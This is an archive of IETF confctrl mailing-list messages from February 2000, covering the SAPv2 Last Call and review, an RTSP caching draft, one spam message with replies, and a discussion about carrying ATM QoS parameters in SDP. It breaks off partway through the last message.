	for <confctrl@isi.edu>; Tue, 1 Feb 2000 05:10:12 -0800 (PST)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id OAA29466;
	Tue, 1 Feb 2000 14:10:09 +0100 (MET)
Message-Id: <200002011310.OAA29466@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Tue, 01 Feb 2000 14:09:19 +0100
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: WG Last Call: Session Announcement Protocol
Cc: vern@aciri.org, sob@harvard.edu, c.perkins@cs.ucl.ac.uk, mjh@aciri.org,
        e.whelan@cs.ucl.ac.uk
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

As discussed at the last IETF, I'd like to issue the Last Call on SAPv2
as documented and recently resubmitted in

   draft-ietf-mmusic-sap-v2-04.txt

for Informational RFC.  The WG Last Call is to expire on 18 February 2000.

Please address comments to confctrl@isi.edu.

Joerg



From confctrl-owner  Tue Feb  1 05:14:42 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA04464
	for confctrl-outgoing; Tue, 1 Feb 2000 05:14:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA04459
	for <confctrl@zephyr.isi.edu>; Tue, 1 Feb 2000 05:14:40 -0800 (PST)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA15587
	for <confctrl@isi.edu>; Tue, 1 Feb 2000 05:15:00 -0800 (PST)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id OAA00061;
	Tue, 1 Feb 2000 14:14:57 +0100 (MET)
Message-Id: <200002011314.OAA00061@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Tue, 01 Feb 2000 14:14:25 +0100
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Correction: WG Last Call: Session Announcement Protocol
Cc: vern@aciri.org, sob@harvard.edu, c.perkins@cs.ucl.ac.uk, mjh@aciri.org,
        e.whelan@cs.ucl.ac.uk
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Correction: SAP v2 is for Experimental RFC, or course!

> 
> As discussed at the last IETF, I'd like to issue the Last Call on SAPv2
> as documented and recently resubmitted in
> 
>    draft-ietf-mmusic-sap-v2-04.txt
> 
> for Informational RFC.  The WG Last Call is to expire on 18 February 2000.
> 
> Please address comments to confctrl@isi.edu.
> 
> Joerg
> 


From confctrl-owner  Tue Feb  1 10:01:20 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA14154
	for confctrl-outgoing; Tue, 1 Feb 2000 10:01:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA14149
	for <confctrl@zephyr.isi.edu>; Tue, 1 Feb 2000 10:01:19 -0800 (PST)
Received: from dthaler.microsoft.com ([131.107.152.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA08621
	for <confctrl@ISI.EDU>; Tue, 1 Feb 2000 10:01:40 -0800 (PST)
Received: (from dthaler@localhost)
	by dthaler.microsoft.com (8.8.7/8.8.7) id LAA27292;
	Tue, 1 Feb 2000 11:38:30 -0800 (PST)
	(envelope-from dthaler)
From: Dave Thaler <dthaler@dthaler.microsoft.com>
Message-Id: <200002011938.LAA27292@dthaler.microsoft.com>
Subject: Review of draft-ietf-mmusic-sap-v2-01.txt
To: confctrl@ISI.EDU
Date: Tue, 1 Feb 2000 11:38:30 -0800 (PST)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Review of draft-ietf-mmusic-sap-v2-01.txt

The abstract and introduction specifically say that SAP is
implemented by _clients_.  My understanding is that in the
original framework, and in what the authors envision as a "good" solution,
SAP is actually implemented by _servers_, and you have a separate
mechanism to communicate between clients and servers (if they
are implemented as separate processes, unlike sdr).

If we support SAP, it will likely be on servers not clients (there's 
already a diagram in MSDN showing this), and I know there's been talk among 
the spec authors that sdr ought to change to do this as well.  Hence, 
I would like to see both the abstract and the introduction changed to 
reflect that current practice is not best practice, and that SAP is 
actually intended for server-server communication.  Section 10 is 
not sufficient to address my concern.

The rest of the draft after the intro looks fine in this regard
since it just uses "SAP announcer" etc except for the first
bullet item of appendix B which refers to "SAPv1 clients"
and should be "SAPv1 listeners" or some such term.


Regarding Authentication Header... why is this used instead of
IPsec AH (as the MZAP, etc specs use)?  I would have expected
to see a discussion of this somewhere (Security Considerations
at least), since doing per-protocol security is less secure in
the sense that you now have to worry about two implementations
(IPsec's and SAP's).


The rest of the spec looks fine to me.

-Dave

From confctrl-owner  Tue Feb  1 10:13:52 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA14653
	for confctrl-outgoing; Tue, 1 Feb 2000 10:13:52 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA14648
	for <confctrl@zephyr.isi.edu>; Tue, 1 Feb 2000 10:13:44 -0800 (PST)
Received: from aardvark.aciri.org (aardvark.aciri.org [192.150.187.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA10482
	for <confctrl@ISI.EDU>; Tue, 1 Feb 2000 10:14:05 -0800 (PST)
Received: from aardvark.aciri.org (localhost [127.0.0.1])
	by aardvark.aciri.org (8.9.3/8.9.2) with ESMTP id KAA72904;
	Tue, 1 Feb 2000 10:14:03 -0800 (PST)
	(envelope-from mjh@aardvark.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: Dave Thaler <dthaler@dthaler.microsoft.com>
cc: confctrl@ISI.EDU
Subject: Re: Review of draft-ietf-mmusic-sap-v2-01.txt 
In-reply-to: Your message of "Tue, 01 Feb 2000 11:38:30 PST."
             <200002011938.LAA27292@dthaler.microsoft.com> 
Date: Tue, 01 Feb 2000 10:14:03 -0800
Message-ID: <72902.949428843@aardvark.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Regarding Authentication Header... why is this used instead of
>IPsec AH (as the MZAP, etc specs use)?  I would have expected
>to see a discussion of this somewhere (Security Considerations
>at least), since doing per-protocol security is less secure in
>the sense that you now have to worry about two implementations
>(IPsec's and SAP's).

I guess the main issue is deployment.  How long before IPsec becomes
sufficiently ubiquitous so a SAP sender can assume all SAP receivers
will be able to authenticate it?

If SAP ever moves to Proposed Standard, I'd propose we revisit this
issue then, but right now IPsec isn't really a viable deployed
solution (much though I wish it was).

Cheers,
	Mark



From confctrl-owner  Tue Feb  1 10:37:01 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA15599
	for confctrl-outgoing; Tue, 1 Feb 2000 10:37:01 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA15593
	for <confctrl@zephyr.isi.edu>; Tue, 1 Feb 2000 10:36:57 -0800 (PST)
Received: from illustrious.cnchost.com (illustrious.concentric.net [207.155.252.7])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA15005
	for <confctrl@isi.edu>; Tue, 1 Feb 2000 10:37:18 -0800 (PST)
Received: from vovida.com (w178.z216112071.sjc-ca.dsl.cnc.net [216.112.71.178])
	by illustrious.cnchost.com
	id NAA23962; Tue, 1 Feb 2000 13:37:17 -0500 (EST)
	[ConcentricHost SMTP Relay 1.8]
Message-ID: <38972831.9C65FB5D@vovida.com>
Date: Tue, 01 Feb 2000 10:38:41 -0800
From: Tina Zhang <tzhang@vovida.com>
Organization: vovida
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: subscibe
Content-Type: multipart/alternative;
 boundary="------------1C8531FDBBE48698EEBEA52D"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------1C8531FDBBE48698EEBEA52D
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



--
Tina Zhang
Senior Software Engineer    tzhang@vovida.com
Vovida Networks, Inc.       Tel 408-941-1742
http://www.vovida.com       Fax 408-941-1791



--------------1C8531FDBBE48698EEBEA52D
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<pre>--&nbsp;
Tina Zhang
Senior Software Engineer&nbsp;&nbsp;&nbsp; tzhang@vovida.com
Vovida Networks, Inc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tel 408-941-1742&nbsp;
<A HREF="http://www.vovida.com">http://www.vovida.com</A>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fax 408-941-1791</pre>
&nbsp;</html>

--------------1C8531FDBBE48698EEBEA52D--


From confctrl-owner  Tue Feb  1 16:36:18 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA03843
	for confctrl-outgoing; Tue, 1 Feb 2000 16:36:18 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA03838
	for <confctrl@zephyr.isi.edu>; Tue, 1 Feb 2000 16:36:17 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id QAA10364
	for <confctrl@isi.edu>; Tue, 1 Feb 2000 16:36:38 -0800 (PST)
Received: from cperkins-d.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.13443-0@bells.cs.ucl.ac.uk>; Wed, 2 Feb 2000 00:36:05 +0000
Received: from cperkins-d.cs.ucl.ac.uk (localhost [127.0.0.1]) 
          by cperkins-d.cs.ucl.ac.uk (8.9.3/8.8.7) with ESMTP id AAA27347;
          Wed, 2 Feb 2000 00:21:49 GMT
Message-Id: <200002020021.AAA27347@cperkins-d.cs.ucl.ac.uk>
To: Dave Thaler <dthaler@dthaler.microsoft.com>
cc: confctrl@ISI.EDU
Subject: Re: Review of draft-ietf-mmusic-sap-v2-01.txt
In-Reply-To: Message from Dave Thaler <dthaler@dthaler.microsoft.com> of "Tue, 01 Feb 2000 11:38:30 PST." <200002011938.LAA27292@dthaler.microsoft.com>
Date: Wed, 02 Feb 2000 00:21:49 +0000
From: Colin Perkins <c.perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Dave Thaler writes:
>The abstract and introduction specifically say that SAP is
>implemented by _clients_.  My understanding is that in the
>original framework, and in what the authors envision as a "good" solution,
>SAP is actually implemented by _servers_, and you have a separate
>mechanism to communicate between clients and servers (if they
>are implemented as separate processes, unlike sdr).
>
>If we support SAP, it will likely be on servers not clients (there's 
>already a diagram in MSDN showing this), and I know there's been talk among 
>the spec authors that sdr ought to change to do this as well.  Hence, 
>I would like to see both the abstract and the introduction changed to 
>reflect that current practice is not best practice, and that SAP is 
>actually intended for server-server communication.  Section 10 is 
>not sufficient to address my concern.

The current protoocol is intended to be agnostic in this regard, hence the
use of the announcer/listener terminology. Section 9 "Scalability and
caching" is to encourage the deployment of servers, and I'd expect another
draft to be produced eventually which would describe how those servers can
be accessed (which may be a new protocol, or simply a set of recommendations
on how to use existing protocols).

I'll fix the wording to make this clearer.

Colin

From confctrl-owner  Thu Feb 10 10:41:52 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA27963
	for confctrl-outgoing; Thu, 10 Feb 2000 10:41:52 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA27958
	for <confctrl@zephyr.isi.edu>; Thu, 10 Feb 2000 10:41:51 -0800 (PST)
Received: from havoc.entera.com (havoc.entera.com [206.165.109.130])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA25337
	for <confctrl@ISI.EDU>; Thu, 10 Feb 2000 10:41:54 -0800 (PST)
Received: from tornado ([206.165.109.185]) by havoc.entera.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-61971U200L100S0V35)
          with SMTP id com for <confctrl@ISI.EDU>;
          Thu, 10 Feb 2000 10:35:46 -0800
Message-Id: <3.0.6.32.20000210105212.010f9ec0@mailserver.entera.com>
X-Sender: alagu@mailserver.entera.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Thu, 10 Feb 2000 10:52:12 -0800
To: confctrl@ISI.EDU
From: alagu@entera.com (Alagu Periyannan)
Subject: new RTSP caching draft - draft-periyannan-rtsp-caching-00.txt
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi all,

I have submitted a new IETF draft on RTSP caching. I look forward to your
comments.

Here is the title and abstract,

Title: Caching Support in Standards-based RTSP/RTP Servers

Abstract:

   This document presents the issues facing streaming media caching. It
   proposes a set of mechanisms to enable streaming media caching
   between standards-based RTSP/RTP servers and proxies. Streaming
   media caching refers to the process through which streaming content
   is dynamically replicated closer to users so as to provide a better
   viewing experience. A list of RTSP enhancements and open issues are
   presented. This document is intended to be a starting point for
   discussion between various parties interested in standardizing the
   mechanism used by RTSP/RTP servers to enable streaming media
   caching.


Thanks.


--

Alagu Periyannan                     alagu@entera.com
Entera, Inc.                         +1 510 770 5225


From confctrl-owner  Thu Feb 10 18:21:10 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA12842
	for confctrl-outgoing; Thu, 10 Feb 2000 18:21:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA12837
	for <confctrl@zephyr.isi.edu>; Thu, 10 Feb 2000 18:21:09 -0800 (PST)
Received: from havoc.entera.com (havoc.entera.com [206.165.109.130])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA19451
	for <confctrl@ISI.EDU>; Thu, 10 Feb 2000 18:21:11 -0800 (PST)
Received: from tornado ([206.165.109.185]) by havoc.entera.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-61971U200L100S0V35)
          with SMTP id com for <confctrl@ISI.EDU>;
          Thu, 10 Feb 2000 18:15:05 -0800
Message-Id: <3.0.6.32.20000210183129.00e8f470@mailserver.entera.com>
X-Sender: alagu@mailserver.entera.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Thu, 10 Feb 2000 18:31:29 -0800
To: confctrl@ISI.EDU
From: alagu@entera.com (Alagu Periyannan)
Subject: Re: new RTSP caching draft -
  draft-periyannan-rtsp-caching-00.txt
In-Reply-To: <3.0.6.32.20000210105212.010f9ec0@mailserver.entera.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi all,

I'm not sure how long it takes for a draft to make its way onto the
internet drafts site. It should be up there soon.

Until then you can get it at,

http://www.entera.com/support/white_papers.html

-Alagu

At 10:52 AM 2/10/00 -0800, Alagu Periyannan wrote:
>
>Hi all,
>
>I have submitted a new IETF draft on RTSP caching. I look forward to your
>comments.
>
>Here is the title and abstract,
>
>Title: Caching Support in Standards-based RTSP/RTP Servers
>
>Abstract:
>
>   This document presents the issues facing streaming media caching. It
>   proposes a set of mechanisms to enable streaming media caching
>   between standards-based RTSP/RTP servers and proxies. Streaming
>   media caching refers to the process through which streaming content
>   is dynamically replicated closer to users so as to provide a better
>   viewing experience. A list of RTSP enhancements and open issues are
>   presented. This document is intended to be a starting point for
>   discussion between various parties interested in standardizing the
>   mechanism used by RTSP/RTP servers to enable streaming media
>   caching.
>
>
>Thanks.
>
>
>--
>
>Alagu Periyannan                     alagu@entera.com
>Entera, Inc.                         +1 510 770 5225
>
>
--

Alagu Periyannan                     alagu@entera.com
Entera, Inc.                         +1 510 770 5225


From confctrl-owner  Sun Feb 13 10:35:01 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA10192
	for confctrl-outgoing; Sun, 13 Feb 2000 10:35:01 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA10184
	for <confctrl@zephyr.isi.edu>; Sun, 13 Feb 2000 10:34:59 -0800 (PST)
Received: from smartt.com (ktk6.smartt.com [209.52.5.253])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA07802
	for <confctrl@isi.edu>; Sun, 13 Feb 2000 10:35:02 -0800 (PST)
From: taxfree9567@yahoo.com
Received: from your (vict-mx0100101.smartt.com [207.34.159.14])
	by smartt.com (8.9.0/8.9.0) with SMTP id KAA13693;
	Sun, 13 Feb 2000 10:37:33 -0800 (PST)
Date: Sun, 13 Feb 2000 10:37:33 -0800 (PST)
Message-Id: <200002131837.KAA13693@smartt.com>
Reply-To: taxfree9567@yahoo.com
To: taxfree9567@yahoo.com
Subject: Tired of the 9 to 5 yet?
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Are you serious?

Serious about finally working for yourself and not somebody else?

Serious about having more time to do what you want when you want?

Serious about taking control of your finances and having your money go to work for you?

Do you want to work for your dreams, and quit building someone else’s?

Are you serious about finally working from home?

Are you serious about being truly free?

Are you serious?

I am looking for people who are willing to get to work and make it happen. 

This is not multi-level-marketing


      To find out more, call Toll Free.   1-800-636-6773  ext 3886. 


Serious inquiries only

God Bless




From confctrl-owner  Sun Feb 13 12:10:36 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA12269
	for confctrl-outgoing; Sun, 13 Feb 2000 12:10:36 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA12264
	for <confctrl@zephyr.isi.edu>; Sun, 13 Feb 2000 12:10:34 -0800 (PST)
Received: from proxy2.ba.best.com (root@proxy2.ba.best.com [206.184.139.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA10950
	for <confctrl@ISI.EDU>; Sun, 13 Feb 2000 12:10:38 -0800 (PST)
Received: from kaipara (livenet.vip.best.com [206.86.5.131])
	by proxy2.ba.best.com (8.9.3/8.9.2/best.out) with SMTP id MAA11020
	for <confctrl@ISI.EDU>; Sun, 13 Feb 2000 12:10:09 -0800 (PST)
Message-Id: <3.0.6.32.20000213121006.0096f3d0@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Sun, 13 Feb 2000 12:10:06 -0800
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: Re: Tired of the 9 to 5 yet?
In-Reply-To: <200002131837.KAA13693@smartt.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>      To find out more, call Toll Free.   1-800-636-6773  ext 3886. 

Oh look - this spammer wants us to phone him - at his expense!  I suggest
that all US & Canadian residents on this mailing list take him up on his
offer, and let him know how much we appreciate his spam.

	Ross.



From confctrl-owner  Mon Feb 14 06:46:51 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA06608
	for confctrl-outgoing; Mon, 14 Feb 2000 06:46:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA06603
	for <confctrl@zephyr.isi.edu>; Mon, 14 Feb 2000 06:46:49 -0800 (PST)
Received: from rsys001a.roke.co.uk (rsys001a.roke.co.uk [193.118.192.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA25756
	for <confctrl@ISI.EDU>; Mon, 14 Feb 2000 06:46:52 -0800 (PST)
Received: by rsys001a.roke.co.uk with Internet Mail Service (5.5.2650.21)
	id <18MD0WSJ>; Mon, 14 Feb 2000 14:46:18 -0000
Message-ID: <D76D503DE976D1119C7E00A0C944D8750328686D@rsys002a.private.roke.co.uk>
From: "Buller, Jim" <jim.buller@roke.co.uk>
To: confctrl@ISI.EDU
Subject: RE: Tired of the 9 to 5 yet?
Date: Mon, 14 Feb 2000 14:46:15 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> >      To find out more, call Toll Free.   1-800-636-6773  ext 3886. 
> 
> Oh look - this spammer wants us to phone him - at his 
> expense!  I suggest
> that all US & Canadian residents on this mailing list take 
> him up on his
> offer, and let him know how much we appreciate his spam.
> 
> 	Ross.
Hi,

I would argue that after last weeks DoS attacks, such 
incitement to mass behaviour of any kind might be deemed 
an 'inappropriate' response. 

The 'spammer' - may not be a spammer. They may just be some 
individual holding a grudge against another individual or 
organisation. No offence intended Ross, but your mail could 
equally be part of such a charade.

However, this mail does raise a interesting and relevant 
point; how such a 'call to arms' inducing massive behaviour 
may adversely impact DCS implementations by overwhelming 
the terminating DPs/MTAs with (stage 1) INVITES. What, if 
any, mechanisms can be put in place to cope with this 
scenario? Of course, a similar situation might arise in a 
popular TV phone-in, though this should, to some extent, be 
more predictable, if not any the more manageable.

Kind regards,

Jim Buller

Roke Manor Research Ltd.
+44 1794 833697

From confctrl-owner  Mon Feb 14 11:51:21 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA15662
	for confctrl-outgoing; Mon, 14 Feb 2000 11:51:21 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA15657
	for <confctrl@zephyr.isi.edu>; Mon, 14 Feb 2000 11:51:19 -0800 (PST)
Received: from mailgate.fore.com (mailgate.fore.com [169.144.68.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA24134
	for <confctrl@isi.edu>; Mon, 14 Feb 2000 11:51:22 -0800 (PST)
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12])
	by mailgate.fore.com (8.9.3/8.9.3) with ESMTP id OAA07429
	for <confctrl@isi.edu>; Mon, 14 Feb 2000 14:50:50 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
	by mailman.fore.com (8.9.3/8.9.3) with ESMTP id OAA21352
	for <confctrl@isi.edu>; Mon, 14 Feb 2000 14:50:51 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21)
	id <1WCL8WPB>; Mon, 14 Feb 2000 14:47:21 -0500
Message-ID: <4FBEA8857476D311A03300204840E1CF20895F@whq-msgusr-02.fore.com>
From: "Rosen, Brian" <brosen@fore.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: ATM extensions to SDP - QoS parameters be in there
Date: Mon, 14 Feb 2000 14:50:49 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There is a small group of people working to extend SDP to describe
an ATM bearer.  For both MGCP and Megaco/H.248, SDP is the way to 
describe the characteristics of a bearer in a session, and if we 
want an ATM bearer, we need to do it with SDP.  In addition to the 
Media Gateway Control protocols, it would be nice if the same 
mechanism worked for SIP, which uses SDP for the same purpose.

A question has arisen which is architectural, and thus this message.
When you create an ATM connection, you specify addresses, and you
also specify QoS parameters.  The protocols that create the 
connections have both sets of parameters.  The question at hand
is, should SDP carry QoS parameters, as well as addresses and
bearer type (IP, ATM, ...)?  On the one hand:
	QoS is as much of a session specification as a codec choice
	It would be very expedient to have c= lines for the various 
		ATM QoS parameters because all users of SDP would then 
		be able to completely describe an ATM VC
	One (ATM) protocol is used to carry both sets of parameters,
		so why artificially split QoS and address info

On the other hand:
	We have shunted IP Qos to separate protocols -- IP QoS 
		parameters are not defined in SDP
	Generally speaking, QoS choices are made at one end, while 
		SDP is used primarily between peers to describe sessions

This issue may come up again in other contexts, so I'm soliciting 
advice from the larger group on this architectural question.

Brian
------------
Brian Rosen, Principal Engineer
Marconi (Formerly FORE Systems)
1000 FORE Drive, Warrendale, PA 15086
(724) 742-6826  mailto:brosen@eng.fore.com 



From confctrl-owner  Mon Feb 14 23:15:03 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA06822
	for confctrl-outgoing; Mon, 14 Feb 2000 23:15:03 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA06779
	for <confctrl@zephyr.isi.edu>; Mon, 14 Feb 2000 23:15:00 -0800 (PST)
Received: from ursamajor.cisco.com (ursamajor.cisco.com [171.69.63.56])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA22144
	for <confctrl@ISI.EDU>; Mon, 14 Feb 2000 23:15:04 -0800 (PST)
Received: from casner-dsl3.cisco.com (casner-dsl3.cisco.com [10.19.3.100]) by ursamajor.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id XAA10418; Mon, 14 Feb 2000 23:14:40 -0800 (PST)
Date: Mon, 14 Feb 2000 23:14:10 -0800 (Pacific Standard Time)
From: Stephen Casner <casner@cisco.com>
To: "Rosen, Brian" <brosen@fore.com>
cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: ATM extensions to SDP - QoS parameters be in there
In-Reply-To: <4FBEA8857476D311A03300204840E1CF20895F@whq-msgusr-02.fore.com>
Message-ID: <Pine.WNT.4.21.0002142308380.-5119-100000@revelstoke.cisco.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Mon, 14 Feb 2000, Rosen, Brian wrote:
...
> On the other hand:
> 	We have shunted IP Qos to separate protocols -- IP QoS 
> 		parameters are not defined in SDP
> 	Generally speaking, QoS choices are made at one end, while 
> 		SDP is used primarily between peers to describe sessions

It is accurate the no QoS parameters are currently specified in SDP,
but that doesn't mean there is no need for them.  We have defined some
private SDP extensions for QoS to use in our IP/TV application.

							-- Steve


From confctrl-owner  Tue Feb 15 15:46:27 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA00441
	for confctrl-outgoing; Tue, 15 Feb 2000 15:46:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA00436
	for <confctrl@zephyr.isi.edu>; Tue, 15 Feb 2000 15:46:25 -0800 (PST)
Received: from howler.tri.sbc.com (howler.tri.sbc.com [205.173.58.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA12747
	for <confctrl@isi.edu>; Tue, 15 Feb 2000 15:46:29 -0800 (PST)
Received: from sbctri.tri.sbc.com (sbctri [144.60.1.10])
	by howler.tri.sbc.com (8.9.3/8.9.3) with ESMTP id RAA07115;
	Tue, 15 Feb 2000 17:47:50 -0600 (CST)
Received: from trimail2.tri.sbc.com (trimail2 [144.60.55.227])
	by sbctri.tri.sbc.com (8.9.3/8.9.3) with ESMTP id RAA06385;
	Tue, 15 Feb 2000 17:45:56 -0600 (CST)
Received: by trimail2.tri.sbc.com with Internet Mail Service (5.5.2448.0)
	id <14H006Q2>; Tue, 15 Feb 2000 17:45:50 -0600
Message-ID: <4D45BA2A58A7D3119E050008C7E69E29079085@trimail2.tri.sbc.com>
From: "Schroeder, Tim" <schroeder@tri.sbc.com>
To: "'Rosen, Brian'" <brosen@fore.com>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: ATM extensions to SDP - QoS parameters be in there
Date: Tue, 15 Feb 2000 17:45:42 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I would like to see the ATM QOS parameters in SDP.  I find the "advantages"
(your one hand, below) more compelling than the other hand.  I'm of the
